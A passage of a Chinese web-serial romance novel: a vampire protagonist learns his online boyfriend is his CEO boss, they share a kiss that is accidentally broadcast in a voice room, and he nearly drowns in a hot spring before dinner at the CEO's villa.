傅宴舟认真地看着宁尔,没有被他的呆滞和怀疑有任何冒犯,反倒更觉得漂亮少年的可爱。 和多少个日日夜夜的线上直播一样可爱。 “你膝盖上的伤应该已经都好了吧?院长医生的药要按时吃。” “1分43秒的热舞视频我看过很多遍,结尾的动作是你胸膛锁骨跟随呼吸起伏了七次。” “带你去看星星那天,你说信不信可以三分钟内出现在我面前,我一度想见你。可你说,你的愿望只有傅宴舟能做到。” “现在,傅宴舟可以,我也可以,对么?” 舟先生说这些话显然是为了自证,这每一件事都不仅仅是“银耳粥”这个账号能做到的。 傅宴舟边说边靠宁尔更近一点,眼睛始终温柔又有些调笑地看着他。 即使再难以置信,从第一句开始,事实如同傅总那双令人无法质疑的眼睛一样, 宁尔被那句什么“热舞视频”、“锁骨起伏”说得面色发红,以往电话里的“银耳粥”撩他他都心跳加快,更别说此刻是傅宴舟总裁亲口说这些。 宁尔脸红地厉害,下意识往后轻轻退了半步。 “情侣之间第一次见面,是不是应该抱抱?” 傅宴舟上前一步追过来,像是也第一次奔现一样,语气认真地问宁尔。 怎么、怎么问我呀…… 宁尔在心里小声无力道。 从前无数次幻想过第一次见面的样子,此刻通通没能派上用场。 舟先生,不,傅宴舟没再等他的回答,他俯下身,伸出双臂,做出一个要拥抱的姿势。却没有像之前那次一样直接抱上来,而是将胳膊悬在半空,停顿着,像是在等宁尔的回应和默许。 还不如直接抱上来…… 宁尔脸更红了一点,头低地更深,身体却不受控制地仿佛站不稳一样,往傅宴舟那边倾斜摇晃倾斜了一下。 傅宴舟双臂顺势落下,轻轻地环在宁尔纤瘦的腰际。 熟悉的雪松香气从男人身上传来,宁尔浑身瞬时暖暖的,快速的心跳被抵在男人结实的胸膛,振动的频率逐渐找到共鸣。 宁尔想抬手,双臂却被舟先生也环抱在内,他只能微微动了动,用手臂徒劳地蹭了蹭舟先生的胳膊。 奇异的兴奋感与恋人之间第一个拥抱的甜蜜感交织,宁尔在他的怀抱下大口呼吸着。 如果这个男人的样貌再陌生、再没有想象过,只要他是他的舟先生,都比此刻宁尔认为自己是和傅宴舟这个人抱在一起让他更自然一些。 危险、疏离、深沉、掌控、温柔、和……喜欢。 就连他沉迷的舟先生身上的雪松味,此刻也成了傅宴舟在灯火璀璨的盛景顶层的专属味道。 像是感受到了他情绪的复杂和紧张,傅宴舟用手掌轻抚着宁尔的后背,一如第一次拥抱那样。 “小耳朵。” 傅宴舟在宁尔耳边低声叫。 宁尔耳际发痒,浑身一颤,无比清晰地感受着这句小耳朵。 宁尔遏制住喉咙里的干涩燥热,正要说话,木门忽然被一阵风吹开,门扉快速朝傅宴舟的后背拍打过来。 宁尔眸子一缩,嘴上说着“傅总小心”,动作已经飞快地挣出一条胳膊,带着傅宴舟转了个圈,把他推按在了一旁的安全地带。 门扉吱呀轻响了两声,傅宴舟被宁尔推在门上又闷哼了一声。 又。 宁尔脑子里冒出这个字。 这一幕好像很熟悉,记忆在脑子里还没完全清晰,宁尔看着傅宴舟被撞地眉间转瞬即逝的轻蹙,连忙道歉: “对不起傅总……” 他的一只手被傅宴舟有力的抓起来握紧: “还叫傅总?” “宝宝,你还是没信。” 宁尔蓦然睁大眼睛,看到傅宴舟那双向来沉稳深邃的眼神中有了一些委屈的神色,这神色让那双眼睛的温柔更生动起来,看得宁尔心里一跳。 宁尔张了张嘴,他信了的。 虽然不知道为什么下意识喊出了“傅总”,但他其实已经是信了…… “傅总,不对,舟、舟先生,我……” “和我拥抱的感觉,和‘舟先生’不一样么?” 宁尔右手被傅宴舟紧紧握在掌心,腰再度被人环上,逆光的角度让他精致的小脸笼在阴影里。 宁尔浑身都在升温,敏感的腰际被傅宴舟的大手摩挲地有点发痒,他们俩脸距离特别很近,近到宁尔不敢直视他解释。 宁尔身体没有挣扎,只是想目光稍稍转移,傅宴舟环着他腰的那只手却忽然松开,骨节分明的大手侧掌,轻轻覆盖在了宁尔的眼睛上。 他没有盖实,宁尔只感觉眼前一暗,稀碎的光透过傅宴舟的指缝晃动。 傅宴舟把宁尔转了一圈抵在门上,身体俯地更低一点: “那吻的感觉,总能证明了吧?” 被蒙上眼抵在门上的那一刻,宁尔就想起来了这似曾相识的一幕,就是几个月前舟先生在漆黑的录音室里和他告别的那一夜。 他被蒙上黑色眼罩,按在门上…… 宁尔眼睛猛地睁大,纤长的睫毛扫在傅宴舟掌心发痒,傅宴舟低头,温柔的唇瓣猝不及防贴在了宁尔的嘴唇上。 男人唇瓣的温热裹挟着男性荷尔蒙传来,熟悉的感觉分秒之内传遍大脑。温柔的轻吻像落雪般一下又一下的落在宁尔的唇上。 如同上次一样,傅宴舟的唇瓣贴合一下又松开,像是品尝不够什么美味一样,在宁尔艰难的呼吸之间又一次贴上来。 雪夜让宁尔的唇瓣变得潮湿,每一次触碰两个人的唇瓣都会短暂贴合停滞。 “现在,信了吗?”舟先生黏糊的声音在耳边低语。 “嗯……信……”宁尔趁他过问的间隙深深吸了口气,孱弱地回答。 “信谁?” “信……” “哥哥。” 这两个字再度重重落在傅宴舟心坎上,不仅是和舟先生在网络上的顺其自然,还有对“傅宴舟”这个讨厌又复杂的上司的接纳。 宁尔喊完哥哥,傅宴舟忽然将手掌移开,刚刚亲吻完的男人近在咫尺,高耸的鼻尖轻抵着宁尔的翘鼻,在跃动的烛火中清晰看到彼此气息的交缠。 “是男朋友了吧?” 傅宴舟又纠正他,语气中也带着一点喘息之余的笑意。 宁尔认真地看着他的目光,感受着右手紧扣的温度,也红着脸认真道: “……男朋友。” 傅宴舟很满意这个答案,稍稍歪头,目光再度落在宁尔殷红的嘴唇上,潮湿充血让本来苍白的唇瓣充满生气,宁尔感受到他目光的炽热,心几乎要跳出胸口了,下意识把眼睛眯了起来。 傅宴舟不再屈膝,他双腿站直,又俯下身体,在少年迷离闭眼之际再度将双唇吻上。 唇瓣贴合在一起的刹那,宁尔感觉傅宴舟的下巴耸动,紧接着自己的嘴唇就被猝不及防地撬开,温热的舌头钻进了口腔。 “唔……” 宁尔猛地睁开眼,柔软的唇舌已经被紧紧地裹挟在一起,潮湿与轻窒感在男人的味道中交换,冰凉的口腔如同内心一样瞬时被填满。 傅宴舟的动作不算熟练,宁尔更是生涩,他几乎是凭借本能去吮吸傅宴舟的嘴唇,短暂的呼吸与男性的唇舌交替入侵,宁尔泛红的舌尖努力给自己换来一点空气。 “唔……舟、舟……”宁尔的声音像蚊子一样细小,如同嘤咛。 傅宴舟的炽热让他说不出话,偶尔舌尖彼此交缠的一刹那,呼吸全部停滞,宁尔感到一阵从口腔贯穿大脑的温热与难以控制,身体各个地方似乎都有奇异的反应。 这个吻又长又深,宁尔被舌尖侵略地几乎要窒息,眼底泛出一阵酸意,眼眶微湿,手指不知不觉在傅宴舟肩头紧扣。 不知道过了多久傅宴舟才把人松开,宁尔眼底潮湿地看着他,炽热的吻让两个人之间的距离无比拉进,扣在一起的双手竟然染上了人类的温度。 傅宴舟扬起嘴角,满眼爱意与温柔,毫不掩饰地看着宁尔。 宁尔大口呼吸着,脸红得像烫熟了一样,他看到舟先生虽然是笑的,但耳根子的红并没有比他好多少。 “初次见面,请多多关照。” 傅宴舟在宁尔眼前说出这句话,全是挑逗,甚至还伸出手要和宁尔握手。 宁尔红着脸咬了咬嘴唇,愣了一下,也愤愤地伸出手也握在傅宴舟的手上。 结果两人的手刚触碰在一起,宁尔就被傅宴舟用力一拉,将宁尔重新拉回怀里,同时发出了一阵很稳愉悦的笑声。 这个拥抱无关情欲,只是初次见面,或者是久别重逢的珍视,宁尔感受到了这种不同,也将双臂轻轻地环上了傅宴舟的腰际。 寒风卷雪从开着的门扉里带进来一阵碎白的雪粒,傅宴舟和宁尔就这么抱在一起,站在一边风雪一边烛灯的交界处。 抱了不知道多久,傅宴舟才拍了拍宁尔的后背松开他。 两人终于恢复第一次见面应有的正常,宁尔脸仍旧烫红。傅宴舟去关门,宁尔顺势去拿起桌子上的手机。 看到手机屏幕的一刹那,宁尔险些眼前一黑直接晕倒了。 他还在缘来的语音房里,弹幕飞得像是有什么不得了的爆炸新闻。 宁尔手动停止定睛一看: [1分43秒的热舞能不能发出来啊我求你了求你了求你了] [这声哥哥我人没了啊啊啊啊啊] [亲吻的感觉就能想起来了] [是亲了吧?是亲了吧?] [好像听到闷哼声了啊啊啊啊啊啊] [你们、你们到底在玩什么???] [啊啊啊啊这绝对是被亲出来的哼声,我不行了我不行了] [小情侣真不把我们当外人啊啊啊啊啊啊] [我今晚就是嘎崩儿倒在这个语音房也值了] [不敢想真的不敢想这是fyz啊] [小耳朵还证实先别说fyz了吧,这个不能随意说的。] 宁尔去看自己那个麦克风的标志。 没静音。 他不知道是从什么时候开始误触了那个标志,也不知道从什么时候起就被全程语音直播了。 宁尔“啊”叫了一声,直接把手机扔了,自己羞得抱着膝盖躲在了桌子下面。 有没有地缝,有没有地缝。 吸血鬼的脸都丢光了。 没脸见人,也没脸见鬼了呜呜呜呜。 傅宴舟刚刚脱掉西装外套,理了理衬衫间的袖口,看到宁尔的动作,捡起他的手机看了几秒,眉眼柔和,他把手机话筒靠近自己,对着麦克风道: “大家好,我是傅宴舟。” “亲亲小耳朵的男朋友。”—— 作者有话说: 大吃特吃!继续发红包! 第58章 明明上一个吻还很温柔…… 傅宴舟低头看着、评论弹幕, 果然更炸了。 平时她们对小耳朵的评论通常口无遮拦,大磕特磕,但此刻听到是傅宴舟的声音从小耳朵的麦里传来, 都有种在“哥夫”面前尽力克制的感觉。 一边遇到这种场面极度好奇想磕, 一边又碍着傅宴舟严肃尊敬的身份。 于是评论区就变成了清一色的: [支持傅总先把麦还给小耳朵] [让小耳朵上麦把球球了傅总!!!] 傅宴舟看着这些可爱的cp粉, 笑了笑,回头看着躲在桌子下缩成一团的绿色青团: “他刚刚……好像有点害羞, 不肯说话怎么办?” [傅总泥……] [刚刚到底发生了什么……] [虽然很好磕但有点担心耳宝了] [他那么瘦小他行不行啊!!] [???] 傅宴舟看着评论, 又笑了笑, 朝宁尔挥了挥手机: “宝宝, 粉丝们好像很担心你, 要不要说句话?” 宁尔不想让粉丝担心,哪怕再社死, 也强忍着红得发烫的脸颊,从桌子底下慢吞吞地钻出来,傅宴舟顺势把手垫在桌角以防他碰脑袋,一边把手机还给他。 宁尔捂着眼睛,尽量不去看弹幕, 但他又发现捂着眼睛没办法发消息了。 傅宴舟见状,把他的手拉下来,让他捂住评论区。 “……” 宁尔把手挡在评论区上,另一只手声音细小含糊地发语音: “宝们,我很好的, 你们不要担心。” 他又看了一眼身边环抱双手, 好整以暇看着他的傅宴舟,又硬着头皮对着麦道: “舟、舟先生也很好,他……” “他很帅……” 宁尔弱弱地回答了一个之前粉丝们最关注的问题。 而在此刻却是最无关紧要的一个问题。 [哈哈哈哈哈哈哈哈哈] [又被萌笑了] 宁尔实在不能再直播下去, 粉丝也催他赶紧下播好好谈恋爱,打了招呼告别之后就感觉把手机关了。 傅宴舟关了门,房间里一时间安静地只有两个人。 抱也抱了,亲也亲了。 才好好看看对方的脸。 傅宴舟当然三天前就已经欣赏过宁尔的真容了。 摘下厚重的黑框眼镜和故意的黑色美瞳,那双精致的宝石绿眼睛显露出来,他的眉目颜色都偏浅,纤长的睫毛在灯光的照耀下泛着浅金色。 少年仰头时候灯光顺着他的鼻梁勾勒面部线条,鼻尖小巧微翘,薄唇唇形优美柔和,尖尖的下巴弧度干净利落,巴掌大的白皙面庞只能让人觉得精致地如同玻璃橱窗里的人偶。 那双绿色的眼睛虽然轮廓偏圆,但眼尾却轻轻上扬,脸上没有表情的时候,透着一股矜贵感和异于常人的美。 哪怕现在害羞耳朵烫到极致,脸部也只是瓷白下微微泛起的淡淡红晕。 傅宴舟在三天前看到宁尔的第一刻就明白了为什么蒋昀和傅柏在看到宁尔之后只能说出漂亮两个字。 他看宁尔的时候宁尔也在看着傅宴舟。 这个多少人说帅的高高在上的严肃男人,宁尔想接近了多久、害怕了多久,但从未认真看过他相貌的男人,此刻是毫无保留出现他身边的网恋对象,舟先生。 气氛有些微妙地尴尬,傅宴舟看够了,不顾自己的耳根子还是红的,率先开口打破沉默,歪了歪头: “去泡温泉?” “啊……” 差点忘了他们是来泡温泉的了…… 宁尔支支吾吾啊了一声,傅宴舟直接走过来拉起来他的手往后院走去。宁尔没说话,更没有挣开,哪怕此刻知道傅宴舟就是舟先生了,要一下子适应用这个身份相处还是有些困难。 穿过这个房间的走廊,他们又来到了一个更大的房间。 这个房间很暖和,宁尔看到有更衣室、淋浴室、汗蒸房、低温干蒸房、盐房。 是温泉房还是厨房。 傅宴舟把他带到一个更衣室前,递给宁尔一条薄薄的衣服: “你先换?” 宁尔摸了摸这块布,把包装布袋拆开,只有一条短裤。 “只、只有这个?” 傅宴舟自己也拿了一条短裤: “对,在温泉里穿这个。” 宁尔赶紧摇摇头: “不对傅总……不对哥哥。” “什么不对?” 宁尔目光四下寻找着什么,可是也找不到,支支吾吾: “应该、应该还有一件上衣。” “男士泡温泉怎么会有上衣?宝宝你是不是记错了?” 傅宴舟有些不解。 宁尔不好意思直说: “就、别的地方没有,但这里一定会有。” 因为是粉丝宝们告诉他澜·峰酒店温泉有男士上衣。 等等,这不就是傅宴舟自己的酒店吗? 宁尔反应过来,抬头看着傅宴舟,这才发现他眼底刻意的坏笑。 “哥……你。” 宁尔看着傅宴舟。 从线上到线下,舟先生挑逗他的花样愈演愈烈。 傅宴舟被宁尔盯得没办法,老老实实找出来他刚刚故意没拿出来的上衣,递给宁尔: “这样可以吗?” “都穿这个,然后一起去泡在水里。” 宁尔摸着那一层薄薄的“泳衣”,面料像冰丝一样滑,手掌撑进去仿佛都能透出来影子。 这、这样真的行吗…… 宁尔脑子里又浮现出那天他浑身赤.裸泡在大浴缸的场景,如有浴缸里再多一个人…… 他脸烫得厉害,把泳衣紧紧抱在胸前,看着傅宴舟那边已经把黑色衬衫解开了两颗扣子,想到傅宴舟发过的腹肌视频…… 不行。 好像不太行。 鬼不行。 宁尔直接一步冲上去按住傅宴舟还要继续解扣子的手,张着嘴: “舟、舟、哥哥……” “你、别、别穿……” “别穿?”傅宴舟声音近了点儿。 宁尔脑袋摇成拨浪鼓: “不是,别,别脱。” “不脱怎么泡温泉?”傅宴舟语气温柔耐心。 宁尔红着脸尬在原地: “哥哥,今天是第一次见面,要、要不我们还是别泡温泉了。我、我饿了,我们去吃饭好不好……” 他来之前并没有觉得两个人都穿着泳衣泡在水里这件事有多过分,但真正和傅宴舟在一起即将做这件事时,却觉得好像哪哪都不好意思。 傅宴舟又盯着宁尔越来越红的脸看了看,末了轻轻拍了拍他的后背: “不逗你了。天气冷,你去泡一会儿,出来我们就在这里吃晚餐。” “那、那你呢?” “去帮忙检查我们的食材。” “那我泡完哥哥再来泡吗?” 傅宴舟摇摇头,顿了一下: “我不太喜欢泡温泉。” 傅宴舟说完让宁尔放心就自己走了,宁尔看着他背影发红的耳朵,可能其实他也不好意思吧。 新闻里从没有傅宴舟谈过恋爱的绯闻。 也许,他也是第一次恋爱? 屋子里的温度很高,宁尔很快换好了浅灰色泳衣,上下都穿得整整齐齐,上衣紧紧绷在身上的感觉的确不太舒服。 他推开门,屋外夜里的温度很冷,假山石阶上故意保留着厚厚的积雪。门口的一段石阶小道一直延伸在不远处冒着热气的水池边。 宁尔裹着浴袍飞快地走向温泉池边,由于寒冷几乎没有一秒犹豫,丢掉浴袍就直接滑了进去。 温泉池水的温度中和了室外的寒冷,浑身入水的一刹那,身体被温水在流动中包裹住,抵御了一切寒冷。 宁尔张嘴呼吸,一团白气从口中冒出,温热和踏实感在夜里出现。 宁尔伸脚踩了踩,这个温泉池比浴缸深很多,但只要站直身体并不会没过胸口。他不会游泳,缓缓移动着身体让自己在水中换了个方向。 让脑袋朝向屋子里,可以看到屋子里光亮的方向。 和泡在浴缸里的舒适感一样越来越强,宁尔靠在池边,任由身体一点一点滑地更深一点。 他满脑子都是傅宴舟竟然是舟先生的事。 所以,从第一次他和舟先生提到“只有傅宴舟能让他回家”的时候,他就应该已经在心里疑问了吧? 那他每天和舟先生聊天,随着他们的感情一步步升温,他都始终知道,宁尔有一天仍会回家? 包括宁尔后来刻意接触傅宴舟。 在傅宴舟的眼里,宁尔一边和舟先生甜甜蜜蜜,一边努力地想接近傅宴舟换取回家的方式。 …… 宁尔闭上眼,把身体往水池深处又滑了滑。 不对,舟先生从一开始应该并不知道宁尔就是亲亲小耳朵。 还好。 宁尔又睁开眼,把身体往上滑了滑。 不对,那现在也都知道了…… 宁尔彻底两眼一黑,任由身体滑入水池,只留了脑袋在外面。 不知道是不是在温水池里久了,宁尔感觉温泉的池水比刚才热了不少。他把身体支撑出来一点,大口地呼吸着空气。宁尔看不到自己的腿,只能看到双手被温水浸润地有些泛红。 呼吸随着冷热的交织变得有些困难,身上的泳衣在在皮肤上的包裹感越来越强,紧得宁尔有些呼吸不畅。 他下意识伸手去扯领子,可泳衣和手都很滑,裹在身上根本扯不开。 窒息的感觉越来越强烈,甚至有些眩晕,宁尔不想再待在水里,刚准备站起来出去,右腿忽然一阵剧烈的抽筋感让腿部麻木动弹不了,脚下一滑,直接整个人平摔进了温泉池。 池水瞬间呛入口鼻,宁尔眼睛被蛰的生疼,耳朵也灌满了水,他下意识扑腾起来喊了声救命,但腿部的疼痛和失去平衡让他很快又重新摔回了水里。 宁尔来不及反应,出于求生的本能拼命乱抓,身边却除了无尽的仿佛流动的水什么都抓不到。 喝进肚子里的水越来越多,宁尔每次挣扎露出水面的间隔越来越久,甚至还没来记得及扑腾水面,衣服本来的窒息感重于溺水感,宁尔几乎是放弃了再挣扎,而是出于本能想把衣服扯掉。 他感觉自己的身体越来越重,意识越来越重,胳膊越来越无力,耳边的水流声从尖锐变得沉闷,他能感受到自己的心跳变得极其缓慢,整个人仿佛被一种力气拉着一点点下坠着。 他…… 水中的黑暗让宁尔回光返照般得到半点安宁,大脑用氧气骗他获得了片刻的喘息,宁尔一点点地放松紧闭的双眼—— 一声巨大的水花炸开的声在耳边响起,下一秒,宁尔就感觉自己被一道巨大的力气从水里托起来,瞬间的呼吸让他再次有了反应,痛苦地皱起眉。 “别害怕,别害怕。” 宁尔听到傅宴舟的声音在耳边响起,他呼吸有些不平稳,一边轻轻拍着宁尔的脸,一边捡起浴巾裹住宁尔,把人打横抱在怀里飞快往房间里跑。 宁尔浑身无力被湿漉漉地放在地上,那条无论他怎么撕都撕不开的泳衣在傅宴舟手中撕拉一声,紧接着就是有规律的胸腔按压。 按压几次,傅宴舟的嘴巴就吻了上来。 宁尔感觉空气从他的嘴巴里送到自己嘴里,反复了几次,他就像鲸鱼一样喷出一道水花,紧接着剧烈地咳嗽了几声。 宁尔被傅宴舟扶起来,又咳嗽了几声,不知道在哪儿抹了把脸,迷迷糊糊地睁开眼睛。 傅宴舟正在紧张地看着他,发梢的水滴在宁尔眼睛上,宁尔下意识一躲。 傅宴舟抱着他的手稍稍放松了一点,下一秒却把人重重搂在怀里: “你不会游水?” “抱、抱歉……” 宁尔边不好意思地想着边偷偷拽过浴袍遮住自己赤裸的上身。 又给舟先生添麻烦了。 “是我不好,我应该提前问清楚。” 傅宴舟贴着宁尔的脑袋,语气中满是后怕的自责。 宁尔飞快地摇头,水从他的耳朵里冒出来: “不,不怪你哥哥。” 又抱了几秒钟,傅宴舟松开人,又检查了一下他的状态确认没问题,温柔地教他处理耳中的进水。 吸血鬼需要的空气本来就比人类少,只要把衣服撕开,吐了一些水出去就好很多了。 宁尔感觉溺水的虽然是自己,但傅宴舟似乎比他还紧张地厉害。 宁尔迎上他没来记得及收回的目光,眉眼间似乎是微微泛红凝重与深沉,好像生怕下一秒眼前人就消失不见了。 这种从心底生发出来的关切目光结结实实撞在了宁尔心上,几乎让宁尔大脑空白了一秒。 这是宁尔从来没有见过的目光。 哪怕是在他误入人类世界前的最后一刻。 这种目光甚至让宁尔自己都开始有点后知后觉的害怕。 他的脑子本来就转得慢,刚刚溺水时都是身体上的痛苦,大脑一片空白。 直到此刻宁尔才慢慢想到,如果没有傅宴舟来救他呢? 如果他今天真的在傅宴舟的面前出事了,他会有多难过和自责呢? 宁尔别过目光,把自己脸擦干净,当着傅宴舟的面又换上一条干净的浴袍,傅宴舟不知道从哪里拿出一个吹风机,完全给宁尔把头发吹干后才停下。 也是直到此刻,宁尔才发现傅宴舟浑身还都是湿着的。 黑色的衬衫到红色西裤,腕上的手表都没来得及摘,就连那双皮鞋都在滴着水。 他没给自己披盖任何浴巾,眉梢和睫毛上的水汽甚至结成了白霜。 宁尔伸手去摸了一下傅宴舟的袖子。 像冰一样冷。 比吸血鬼的温度还冷。 宁尔顿时蹙起了眉,像刚刚傅宴舟紧张他一样,站起来跑到衣柜里拿了一条厚厚的浴袍出来举在他面前: “换。” 傅宴舟愣了一下,看到此刻宁尔又走动起来才真正松了口气,低头看了看自己冻红的双手: “好,现在换。” “我叫人先送你出去,我们不待在这儿了。” 任何溺水过的人对水都会有恐惧,傅宴舟不愿意让宁尔再有任何害怕。 宁尔却坚决地摇摇头: “不要,你换完,我们一起走。” “那你先出去……” “我不走!” 宁尔的手就那么倔强地举着浴袍,傅宴舟愣了一下,直接上前从宁尔手里接过浴袍放在一旁,伸手,三两下把身上的衬衫扣子都解开,脱下湿透的衬衫仍在一旁。 直到八块腹肌的□□冲击在面前时,宁尔才反应过来傅宴舟后面那句“先出去”是什么意思…… 看到了,两只鬼眼睛都看到了。 偏白的肌肤上八块腹肌轮廓比照片上还要明显,背肌随着抬手的动作在宽阔的肩膀处清晰可见,还有两条线从腹肌的两侧一直向下延伸,延伸在他的裤腰处…… 然而,比起他优越的身材,宁尔下一秒注意到的就是傅宴舟身上的三道伤疤。 三道伤疤长短不一,最长的一道从胸下肋骨直接蔓延到左腹。 伤疤的样子很新,和他脸上曾经的那道很像。 却更深一些。 那仍鲜红的颜色和歪曲的走向甚至有些狰狞。 宁尔觉得,自己已经猜到这些触目惊心的伤疤是怎么来的了。 傅宴舟注意到了宁尔的目光,没再刻意遮掩,只是挑了挑眉,作势要解开西裤: “还要继续看?” 宁尔没有回答。 他身体站地笔直,目光一直停留在那几道伤疤上。 直到他看得够久,傅宴舟才意识到不对劲。 他慌忙走到宁尔面前,牵起宁尔的手问: “吓到你了?” 宁尔仍旧低头看着他的伤疤,傅宴舟低头看他的眼睛,发现宁尔原本就亮晶晶的眼睛里好像有眼泪。 “怎么了,宝宝?” 宁尔忽然的情绪让傅宴舟瞬间有些无措。 宁尔强忍着鼻子的酸意,努力不让眼泪掉下来。 傅宴舟那天遭受了什么他是亲眼看到的。 他亲眼看到了他被利刃砍伤,亲眼看到他的血污弄了一地,亲眼看到他昏迷濒死的一刻被抬在了救护车上。 宁尔还想起来,直到那一刻,直到舟先生好几天没回消息那一刻,他还收到了舟先生一条没头没尾的消息。 告诉他飞机要起飞了,一切平安。 那是宁尔亲眼看着他在担架上发出的消息。 只不过那时候他并不知道,那是发给自己的消息。 傅宴舟那天的伤宁尔作为陌生人都心有恻隐,此刻意识到他就是舟先生,亲眼看到这些伤疤,他只觉得胸口有些闷得难受。 “疼,疼吗?”宁尔颤着声音问。 “伤口?” 傅宴舟松了口气: “已经都好了,一点儿都不疼了。” “我是说那天。” 傅宴舟也意识到宁尔是回忆起那天了,想起那夜混乱中最终是少年救了他,深深吸了一口气,走到宁尔面前,看着他的眼睛认真道: “都过去了,宝宝。” 宁尔自责地摇了摇头: “其实我早就听到了有人跑动的声音,我早发现有不对劲的。可我当时竟然有了要不要多管闲事的念头,走路也磨磨蹭蹭的,如果我能再早一点,这些伤可能就会少很多……” 宁尔越说越委屈,小哭包的眼泪几乎就要掉下来,傅宴舟稳住他轻轻颤抖的身体: “小耳朵,你听我说” 他微微俯身,目光认真地对上宁尔那双绿色的眼睛: “你做的没有错,在遇到未知危险的时候,你要做的最正义的事就是保护好你自己。你不仅做到了,还救了我,没有人能比你做得更好了。” 傅宴舟无比认真温柔地安慰着宁尔,就像经常在线上做的那样。 宁尔伸手抹了抹自己还没涌出的眼泪,仍旧看着傅宴舟那几道微微隆起的伤疤,鬼使神差地想伸手去碰一碰。 傅宴舟看到了宁尔的动作,有些不自在地移开了目光,默许了他的触摸。 少年的手指触碰到伤疤上,傅宴舟浑身一颤。 尽管他的手指冰冷,傅宴舟却感觉到一股热流从他指尖触碰过的地方一直游走。 宁尔摸了一道去摸下一道,认真地感受着舟先生的“伤”,浑然不觉自己的手已经来到了危险的位置。 傅宴舟人耐着性子,身体却耐不住。 燥热和少年不打算停止的动作让下身有了反应,直到宁尔的手触碰到左腹鲨鱼线处,傅宴舟才一把抓住他的手打断。 宁尔讶异抬头,紧接着就被傅宴舟按在身后的墙上。 比刚才的试探更炽热的吻落下,舌尖熟练地撬开宁尔的唇,唇瓣摒弃一切呼吸地纠缠吮吸,刚才溺水的失而复得喘息感一起加算在了这个吻里,连同那个关乎生死的混乱的夜晚—— 宁尔眼下绯红一片,指尖慢慢抓紧了他的手臂,有些笨拙地迎合他的吻。唇舌纠缠,明明上一刻的吻还很温柔,此刻的感觉却完全不同,交缠炽热,隐约透露着压抑兴奋的力道。 宁尔的唇齿渐渐承受不住这种力道,手掌下意识抵在傅宴舟的赤裸的上身,被胸肌半隔着衣服触碰到,浑身一阵触电般的颤栗—— 作者有话说: 努力避着敏感词在写了傅总你悠着点 第59章 小耳朵,心跳声告诉我,…… 胸口前被布料摩擦, 一阵酥麻。 宁尔被罩在高大挺拔的身体下,整个人被吻得越来越脱力,明明裤子还湿着, 傅宴舟身上却越来越火热, 几乎要倾在宁尔身上。 脸颊滚烫浑身轻抖之际, 宁尔迷离之中睁开双眼,似乎是睫毛触痒了傅宴舟的眼睛, 他猛然睁眼, 深邃的眼窝里那双漆黑的瞳孔盛放着不安的欲望。 宁尔那双湿漉漉的绿色眼睛睫毛扑闪, 纯稚眼神中水雾唤回了傅宴舟一点理智。 他极其不舍地松开宁尔被吻红的嘴唇, 用手指顺着宁尔嘴角的轮廓帮他擦了擦, 宁尔听到他粗重的呼吸声,额侧极度克制而绷起的青筋。 傅宴舟不让宁尔再看他的身体, 直接拉起宁尔的胳膊把人送出去,关上门,自己冲澡换衣服。 傅宴舟站在浴室,任由凉水冲从头顶浇下,木质的镂空花纹门并不能隔绝影子, 宁尔的身影和柔软的唇瓣在脑中反复浮现,傅宴舟闭紧眼睛,片刻之后,在浴室发出一声长久地闷哼。 傅宴舟出来之后,两个人身上都只有一套简单的睡衣, 很快, 一辆保姆车就稳稳地停在了院外。 傅宴舟用浴巾把宁尔包成粽子一样搂在怀里,和车里下来的人交待了几句什么就一起上车了。 大概十几分钟后到地方,车子停稳, 宁尔不知道这是哪里,远远地有人撑着伞迎过来,为傅宴舟打开门进屋。 傅宴舟的家。 宁尔意识到了。 这是一套三层别墅,宁尔推开门,大得像他在吸血鬼的城堡一样,房子很新,不知道是不是故意的简约风格。 一楼有阿姨在,看到傅宴舟带了人回来,这么冷的天都穿着睡衣,连忙先给宁尔怀里塞了一个暖手宝,接着才帮傅宴舟挂衣服。 宁尔有些不好意思地道了谢,忍不住好奇地打量着屋子,视线尤其不受控地往餐厅飘。 有血的味道…… 阿姨看到了宁尔探头探脑,温和地笑了笑: “傅总,少爷,晚饭已经准备好了,请慢用。” 她临走前还贴心地把餐厅的灯光调整成温馨的颜色,宁尔跟着傅宴舟走到餐厅,方桌上铺放着深红色的桌布,餐桌正中间摆放着鲜艳的红玫瑰还有一枚银质烛台。 桌子上的菜品,除了牛排、大虾等,还有好几碗热气腾腾的鸭血粉丝汤。 “……” 宁尔眼睛都要看直了,他忍不住低下头去拼命嗅嗅鸭血粉丝汤,这个血的品质比他在小摊上吃得都要高! 更开心的是,桌边还有好几杯各式各样的奶茶。 鸭血粉丝汤和奶茶,都是舟先生知道他爱吃的。 宁尔从好几杯奶茶里贴心地挑了一杯他最喜欢的,跑到傅宴舟面前: “哥哥,你喝过奶茶了吗?” “还没有。” 傅宴舟诚实回答。 宁尔立马把吸管插进去,递给傅宴舟嘴边: “你尝尝,这杯是我最喜欢喝的。你以前也总点给我。” 傅宴舟莞尔,稍稍凑前一点,轻轻吸了一口,认真品尝了一下: “好喝。” 宁尔眼睛一亮,直接大方地把这杯送给他: “那哥哥都喝。” 傅宴舟大手拿着一杯可爱的小黄鸭包装奶茶,不动声色地笑了笑: “好。” “鸭血粉丝汤你喜不喜欢吃?” 宁尔的奶茶得到了认可,让他重燃了分享美食的希望。 傅宴舟看着宁尔眼神中对食物热爱的光亮: “吃得不多。” “我觉得还蛮好吃嘛,尤其是鸭血,只吃鸭血的感觉软软的、弹弹的,带着香味儿一口就滑在嘴巴里。” 宁尔说完又热心地给傅宴舟端来一碗鸭血粉丝汤: “你快尝尝。” “好。” 宁尔坐回座位,傅宴舟可能已经猜到他比起粉丝更爱吃鸭血,每一碗的鸭血都比粉丝多很多,和他在小摊上买得一点都不一样。 宁尔小心地夹了一块鸭血在嘴里,太美味了。 虽然他现在不愁鲜血,但此刻的鸭血也实在美味。就像吃惯了大餐,小零食也能很好地解馋一样。 这张桌子有点大,再加上布置地很精美,烛台甚至和吸血鬼世界很像,宁尔不自觉地带入他以前的吸血鬼少爷身份,全程很优雅地吃着鸭血粉丝汤,几乎不和舟先生说话。 他连续吃了三碗,一抬头傅宴舟已经早就吃完了,正双腿交叠在一起很认真地看着宁尔吃饭。 宁尔有些不好意思,擦了擦嘴,揉了揉肚子: “我刚刚有点饿。” “现在吃饱了。” 傅宴舟莞尔,站起来简单收拾桌子,动作十分生涩地把东西堆放进洗碗机里。 宁尔想要帮帮忙,被傅宴舟推到了一旁。 宁尔看了一眼时间,已经半夜两点了。 吃完饭,是不是就该睡觉了…… 刚刚几句交谈里宁尔大概知道这是傅宴舟的房子,他一个人住,所以宁尔可以放心借住在这里。 